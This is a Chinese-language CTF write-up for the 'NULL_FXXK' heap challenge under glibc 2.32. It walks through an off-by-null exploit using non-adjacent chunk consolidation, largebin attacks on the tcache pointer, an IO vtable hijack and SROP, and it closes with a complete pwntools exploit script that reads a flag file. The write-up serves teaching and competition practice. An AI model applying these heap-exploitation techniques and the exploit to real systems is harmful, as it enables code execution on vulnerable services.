glibc2.32中的隔块合并手法与NULL_FXXK题解

 

保护情况

 

程序分析

rep stos指令

  • rep指令:重复指令ecx次
  • stos:把eax中的值复制到es:EDI指向的地方,每次执行都会增加edi
    • DF标志寄存器决定方向

  • 这一段指令的作用就是把tcache全部设置为0

程序功能

  • Init时,会通过calloc(0x10, 1)-0x290得到一个指向tcache的指针
  • 每次读入cmd时会检查
    • __malloc_hook是否为null
    • __free_hook是否为null
    • 检查libc中偏移0x1e6e98处是否为0x80, 也就是maxfast是否为0x80
    • 把Tcache全部设置为0
  • Add
    • 最多32个指针
    • 0x100<=size<=0x2000
    • ptr = malloc(sz)
    • read(0, ptr, size)
    • ptr[size-1]=0
    • PtrArr[idx] = ptr
    • SizeArr[idx] = size
  • Free
    • 读入idx
    • free(PtrArr[idx])
    • PtrArr[idx]=0
    • SizeArr[idx]=0
  • Show
    • 读入idx
    • write(1, PtrArr[idx], strlen(PtrArr[idx]))
  • Modify
    • 只能运行一次
    • len = read(0, PtrArr[idx], SizeArr[idx])
    • PtrArr[idx][len]=0

 

思路

  • 题目每次都会清空tcache,并且size可以超过0x420
  • 那么对于0x420以内的chunk ,free会被直接吃掉
  • 对于大于0x420的chunk,机制和2.23一样,题目考的是UB相关手法
  • 题目只有一个offset by null,可以用来打P标志
  • 但是再2.32中free合并时有自闭检查+prev_size与size检查,无法使用隔块合并的手法

  • 既然不能先溢出再释放,那么就试试先释放再通过相邻块溢出

-也被堵死了

UB相关的都被堵死

 

解决

  • 只有一个offset by null,还是通过UB隔块合并制造chunk重叠
  • 在libc2.32中由于加入了对prev_size的检查,所以还必须要伪造prev_size,因此无法靠合并已经在UB中的chunk来绕过unlink
  • 因此我们必须自己伪造prev_size与size
  • 至于unlink的检查,则通过堆风水,利用Largebin的nextsize链表+partial overwrite,利用残留信息来伪造自闭链表

堆风水

  • 但是这里partial overwrite也是有限制的,本题写入的时候结尾只能是00
  • 如果B的地址为0x..1200, 那么就要求AC地址也是0x..12XX的格式, 但本题最小chunk为0x110,因此低第三B不可能都是12,所以只能高位相同
  • B的地址为0x120034, 那么就要求AC的地址为0x12XXXX的格式,这个很容易满足

chunk布局

  • 首先至少有A:0x500 A’:0x500 B:0x510 C:0x520三个chunk进入LB来伪造自闭链表
    • (0x500 0x500 0x510 0x520)
  • 为了避免在UB中合并,因此还需要0x110的chunk作为gap, A和A’不会一起释放,所以不需要gap
    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x110)
  • 还需要两个chunk一个用来溢出后一个chunk的P标志,一个用来free时触发隔块合并,前一个malloc的size必须为8结尾,后一个chunksize必须与0x100对齐
    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x200, 0x300, 0x0x110)
  • 现在可以让(0x510…0x300)之间的chunk都被合并进入UB中, 进入之后还需要一部分区域来进行攻击,越大越好,选择0x2010
    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)
  • 由于partial overwrite时结尾为00的限制,因此还需要一切chunk来让0x500 0x510 0x520 的size为0xSS SS SS SS SS SS 00 XX的格式(S表示一样,XX表示任意)
    • (padding 0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)

padding的构造

  • 我们需要把指向A A’ C的指针覆盖为指向B的,并且只能结尾覆盖为00
  • 那么理应让B再地址0x…00XX, 让A’ A C在高处, 因此chunk布局就变成为:
    • (padding, 0x510, 0x500, 0x500, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)
  • 先看下没有padding的情况

  • chunk B的addr为0x…b2c0 – 0x10 = 0x…b2b0
  • 为了让达到0x…00XX的格式,至少还要0x10000-0xb2b0 = 0x4d50
  • 因此尝试下0x2010 0x2010 0xd30到三个chunk作为padding

  • 现在指向chunk A’ A C的指针都可以被partial overwrite为指向chunk B的指针

构造自闭链表

  • 首先全部放入UB中

  • 然后再Add一个很大的chunk, 这样就可以触发UB整理, 把ABC按照大小放入LB中, 然后把Add的很大的chunk释放掉,与top chunk合并

  • 先把B拿出来, 把fd bk作为prev_size 和size 字段, 把fd_nextsize bk_nextsize作为fd bk
    • 我们要溢出chunk10, free时 让chunk 10 一直合并到B
    • chunk 10 地址为0x0000555555563760-0x10
    • 我们在B中伪造的FakeChunk地址为0x555555560010
    • 因此prev_size为0x3740

  • 再取出A, partial overwrite 他们的heap指针

  • 此C中已经没有heap指针,所以需要把A’ 放入LB, 来让C有一个可以被partial overwrite为指向B中FakeChunk的指针

  • 然后取出C, partial overwrite C中指向A’的fd指针

  • 至此, 自闭链表就构造完成了

隔块合并

  • 接着就可以利用chunk9去溢出chunk10的P标志,并伪造prev_size实现隔块合并
  • 问题:我们需要free chunk10 ,让chunk10进入UB的逻辑,因此就需要绕过tcache
  • 因此size最小为0x430, 又因为需要与0x100对齐,所以用来触发合并的chunk 10 size应为0x500

成功构造出overlap

泄露堆地址

  • 在unlink前我们有B->bk = C, C->fd=B, 并且C是被索引到的,但由于00截断,无法读出堆地址

  • 但是再unlink时,会有
    • bck = B->bk = C
    • fwd = B->fd = A
    • bck->fd = fwd => C->fd = A
  • 因此A的地址就被写入到了C的开头,并且没有被00截断,我们可以直接show出来

泄露libc地址

  • 任何写入都会被00结尾,因此只能让addr自己出现在可读取的位置
  • 常规思路为切割UB,让idx指向UB中的chunk头,通过UB的fd泄露
  • 但问题是本题的UB的fd是00结尾的,无法show出来

  • 所以只能借助与LB中的fd bk指针
  • heap情况:

  • 我们需要把一个被索引的chunk放入LB中
  • 利用UB的切割机制,就可以, 把UB切割到一个被索引的位置,并且切到小于0x2000,然后申请一个大的chunk,UBchunk就会被整理到LB中

任意写

  • UB的利用需要伪造size, LB则难以伪造链表,两者都有很多先决条件,还是使用tcache进行攻击最方便
  • 因此可以利用LBattack向保存tcache指针的地方写入一个victim地址,从而控制整个tcache结构体

  • 进行LB attack的手法
    • 我们需要把一个被索引的0x510的chunkA放入LB中,然后手中有一个0x500的chunkB
    • free(chunkA) A进入UB, 再Add(0x500)就可修改LB中的chunk
    • 然后free(chunkB)进入UB
    • 再Add(0x2000)触发整理即可像addr2写入被free的chunk地址
  • 再找到存放tcache的地址

  • exp:

Tcache布局

  • 根据计算公示:
    • idx = (chunk_size – 0x20)/0x10, idx从0开始
    • count_addr(idx) = tcache_addr + idx*2
    • entry_addr(idx) = tcache_addr + 0x80 + idx*8
  • 现在tcache位于0x0000555555561540 , 如果我们使用0x400的chunk,那么就有
    • idx = (0x400-0x20)/0x10 = 0x3
    • count_addr(0x3e) = tcache_addr + 0x3e*2 = tcache_addr + 0x7C
    • entry_addr(0x3e) = tcache_addr + 0x80 + 0x3e*8 = tcache_addr + 0x270
  • 由于写入的地址是被free的那个chunk, 所以要据此对0x500那个chunk进行布局
    • 注意:写入的是chunkB地址,我们写入是从chunkB+0x10开始的,所以fake_tcache都要减去0x10

如何劫持执行流

  • 由于无法堆__free_hook进行修改, 因此只能从IO入手
  • 由于本题没有使用流输入输出,所以只能从libc中的输出开始入手
  • libc的ptmalloc中有两种错误输出:
    • __glibc_unlink(…) 这是安全检查, 这种错误信息直接write(STDERR, …) 无法利用
    • assert(…) 这是运行时检查, 错误信息会通过流输出

assert()定义:

#define assert(e) \
    (__builtin_expect(!(e), 0) ? __assert_rtn(__func__, __FILE__, __LINE__, #e) : (void)0)

#define __assert(e, file, line) \
    __eprintf ("%s:%d: failed assertion `%s'\n", file, line, e)

#define eprintf(format, ...) fprintf (stderr, format, __VA_ARGS__)

eprintf()的调用实际就转为vfprintf()的调用

int __fprintf (FILE *stream, const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfprintf_internal (stream, format, arg, 0);
  va_end (arg);

  return done;
}

vfprintf()中会进入buffered_vfprintf()

static int buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args, unsigned int mode_flags)
{
  CHAR_T buf[BUFSIZ];
  struct helper_file helper;
  FILE *hp = (FILE *) &helper._f; //助手流
  int result, to_flush;

  //...hp初始化
  _IO_JUMPS (&helper._f) = (struct _IO_jump_t *) &_IO_helper_jumps; //为助手流设置虚表:_IO_helper_jumps

  /* Now print to helper instead.  */
  result = vfprintf (hp, format, args, mode_flags); //输出到助手流hp中

  //...
  if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0) //如果有要输出的
    {
      if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush) //那么就调用s的_IO_sputn全部输入回s
 result = -1;
    }

  //..
  return result;
}
  • 因此assert会转入stderr虚表中的_IO_sputn调用
  • stderr使用_IO_file_jumps作为虚表, 会调用函数_IO_file_xsputn
  • 但问题是我们不仅需要劫持虚表,还需要能控制rdx指向的数据, 这就要求
    • 调用时rdx 指向heap 或者libc中可写区域
    • 函数为虚表函数, 并且可写
  • 在_IO_file_xsputn中, rdx不可控, 但是他会继续调用其他函数,因此我们可以继续跟踪其调用

一路si下去发现,当fflush()调用sync是rdx指向一个libc中可写的区域

并且再2.32下,_IO_file_jumps是可写入的

  • 因此把_IO_file_jumps中的sync修改为setcontext+61, 然后在rdx指向的区域内写入SigreturnFrame即可开启SROP
  • rdx其实指向的另外一个可写入虚表,为了防止SIGV,要保证用到的表项不变

SROP

  • 根据上面的分析,我们需要劫持两个地方:虚表和一个缓冲区
  • 因此需要再tcache中伪造两项

然后劫持虚表即可

 

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name): 
 log.success(name+' = '+hex(eval(name)))

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):   #local
 sh = process('./pwn')
 proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]

else:       #remtoe
 sh = remote('node2.hackingfor.fun', 36072)

def Num(num): 
 sh.send(str(num).ljust(0xA, '\x00'))

def Cmd(n):
 sh.recvuntil(">> ")
 Num(n)

def Add(sz, cont=''):
 assert(0x100<=sz and sz<=0x2000)
 Cmd(1)
 sh.recvuntil('Size: ')
 Num(sz)
 sh.recvuntil('Content: ')
 if(cont==''):
  cont='aaa'
 sh.send(cont)

def Edit(idx, cont):
 Cmd(2)
 sh.recvuntil('Index: ')
 Num(idx)
 sh.recvuntil('Content: ')
 sh.send(cont)

def Delete(idx):
 Cmd(3)
 sh.recvuntil('Index: ')
 Num(idx)

def Show(idx):
 Cmd(4)
 sh.recvuntil('Index: ')
 Num(idx)

#padding to align addr
Add(0x2000)   #0
Add(0x2000)   #1
Add(0xd20)   #2

#chunk arrange
Add(0x500)   #3 B, put into LB and unlink(B)
Add(0x4F0)   #4  A'
Add(0x4F0)   #5 A, put into LB 
Add(0x100)   #6 gap
Add(0x510)   #7 C, put into LB
Add(0x2000)   #8 chunk to attack
Add(0x1F8)   #9 chunk to overflow P flag
Add(0x4F0)   #10 chunk to be free 
Add(0x100)   #11 gap to top chunk

#sort A,B,C into UB
Delete(5)   #UB<=>A
Delete(3)   #UB<=>B<=>A
Delete(7)   #UB<=>C<=>B<=>A

#put A,B,C into LB 
Add(0x2000)   #trigger sort, LB<=>C<=>B<=>A
Delete(3)   #big chunk consolidate with top chunk

#forge FakeChunk in B
exp = p64(0)  #prev_size
exp+= p64(0x3740|1) #size
Add(0x500, exp)  #idx: 3; get chunk B, LB<=>C<=>A


#partial overwrite A's bk
exp = p64(0)
exp+= p16(0x0010)
Add(0x4F0, exp)  #idx: 5; A's bk=>B, LB<=>C


#put A' into LB
Delete(4)   #UB<=>A'
Add(0x2000)   #trigger sort, LB<=>C<=>A'
Delete(4)   #consolidate with top chunk

#partial overwrite C's fd
exp = p16(0x0010)
Add(0x510, exp)  #idx:4; C's fd=>B

#chunk overlap
exp = 'A'*0x1F0
exp+= p64(0x3740) #chunk10's prev_size
Edit(9, exp)  #chunk10 's P=0, prev_chunk(chunk10)=>FakeChunk in B
Delete(10)   #UB<=>(FC in B, A', A, 6, C, 8, 9)

#leak heap addr
Show(4)
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x5a10
Log('heap_addr')

#get A' from LB
Add(0x4F0)   #7

#split UB chunk, make it smaller than 0x2010
Add(0x1520)   #UB<=>(8, 9)
Add(0x2000)   #UB<=>(9)

#trigger sort
Add(0x2000)   #LB<=>(9)
Delete(13) 

#leak libc Addr
Show(9)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x1e40b0
Log('libc.address')

tcache_addr = libc.address + 0x1eb538
Log('tcache_addr')

Log("libc.symbols['__free_hook']")

#LB attack to control tcache ptr
_IO_file_jumps_addr = libc.address + 0x1e54c0
jumps_SYNC_addr = _IO_file_jumps_addr + 0x60
fake_tcache = '\x00'*(0x7C-0x10)
fake_tcache+= p16(1)       #counts[0x400] = 1
fake_tcache+= p16(1)       #counts[0x410] = 1
fake_tcache = fake_tcache.ljust(0x270-0x10, '\x00')
fake_tcache+= p64(jumps_SYNC_addr)    #entries[0x400], setcontext
fake_tcache+= p64(libc.address+0x1e48c0)  #entries[0x410], Sigreturn Frame

Delete(12)     #UB<=>(8, 9)
Add(0x4F0, fake_tcache)  #idx: 12; smaller chunkB, tcache_addr = chunkB
Add(0x1b10)     #idx: 13; split
Add(0x500)     #idx: 9,14; chunkA, 
Add(0x1D0)     #idx: 15 remain

Delete(14)   #UB<=>chunkA

Add(0x2000)   #idx: 14; trigger sort: LB<=>chunkA
Delete(14)

Delete(9)   #UB<=>chunkA
exp = p64(0)  #chunkA's prev_size
exp+= p64(0x511) #chunkA's size
exp+= p64(0)  #chunkA's fd
exp+= p64(0)  #chunkA's bk
exp+= p64(0)  #chunkA's fd_nextsize
exp+= p64(tcache_addr-0x20) #chunkA's bk_nextsize
Add(0x6F0, exp)

Delete(12)   #UB<=>chunkB
Add(0x2000)   #trigger sort, now tcache=>fake_tcache

#control vtable
exp = p64(libc.symbols['setcontext']+61) #_IO_file_jumps.SYNC = setcontext+61
exp+= p64(libc.address+0x7e600)    #avoid SIGV
Add(0x3F0, exp)

#GG
rdx_GG = libc.address + 0x14b760 #mov rdx, [rdi+8]; call [rdx+0x20]
pop_rdi = libc.address + 0x2858F
pop_rsi = libc.address + 0x2AC3F
pop_rdx_r12 = libc.address + 0x114161
pop_rax = libc.address + 0x45580
syscall = libc.address + 0x611EA
ret = libc.address + 0x26699

def Call(sys, a, b, c):
 rop = flat(pop_rdi, a)
 rop+= flat(pop_rsi, b)
 rop+= flat(pop_rdx_r12, c, 0)
 rop+= flat(pop_rax, sys)
 rop+= flat(syscall)
 return rop

#SROP
frame = SigreturnFrame()
frame.rsp = heap_addr + 0x6650  #RORW ROP addr
frame.rip = ret
frame.r10 = libc.address + 0x8e520 #avoid SIGV
exp = str(frame)
Add(0x400, exp)  #buffer<=rdx, must be short

#RORW ROP
buf = heap_addr+0x200
exp = '\x00'*0x100     #padding
exp+= Call(0, 0, buf, 0x100)  #read(0, buf, 0x100)
exp+= Call(2, buf, 0, 0)   #open(buf, 0, 0)
exp+= Call(0, 3, buf, 0x100)  #read(3, buf, 0x100)
exp+= Call(1, 1, buf, 0x100)  #write(1, buf, 0x100)

#make assert fail, trigger printf
Add(0x4F0, exp)    #idx:17

NON_MAIN = 4
Delete(9)     #UB<=>A
exp = p64(0)    #chunkA's prev_size
exp+= p64(0x511|NON_MAIN) #chunkA's size
Add(0x6F0, exp)    #idx: 16; chunkA in LB has NON_MAIN bit
Delete(17)     #UB<=>chunk14

Cmd(1)
sh.recvuntil('Size: ')
Num(0x2000)     #trigger

#file name 
sh.send('./flag.txt\x00')

sh.interactive()
'''
'telescope '+hex(proc_base+0x4160)+' 18'
'''

 

总结

  • 堆风水:
    • 利用largebin的fd_nextsize与bk_nextsize来伪造fd bk
    • partial overwrite largebin中chunk的fd bk来构造自闭链表绕过其检查
    • 一共需要A:0x500 A’:0x500 B:0x510 C:0x520 四个chunk, 用B作为被unlink的chunk
  • 泄露堆地址
    • unlink时会把chunk地址写入到fd处
  • 泄露libc地址
    • 让idx索引到largebin中的chunk,利用fd泄露地址
  • 先打出double link
    • 一个索引把chunk释放到UB中,再申请一个大的,把他整理到LB中
    • 另一个索引用来show
  • 任意写手法:
    • 通过malloc把UB中的chunk整理入LargeBin时的LargeBin Attack,来修改tcache指针,从而使用自己伪造的tcache
  • SROP手法
    • 由于__free_hook被禁了,因此只能从IO的虚表入手
    • 由于setcontext使用rdx作为frame指针,因此需要找到一个虚表项, 在调用是rdx指向的位置可控
(完)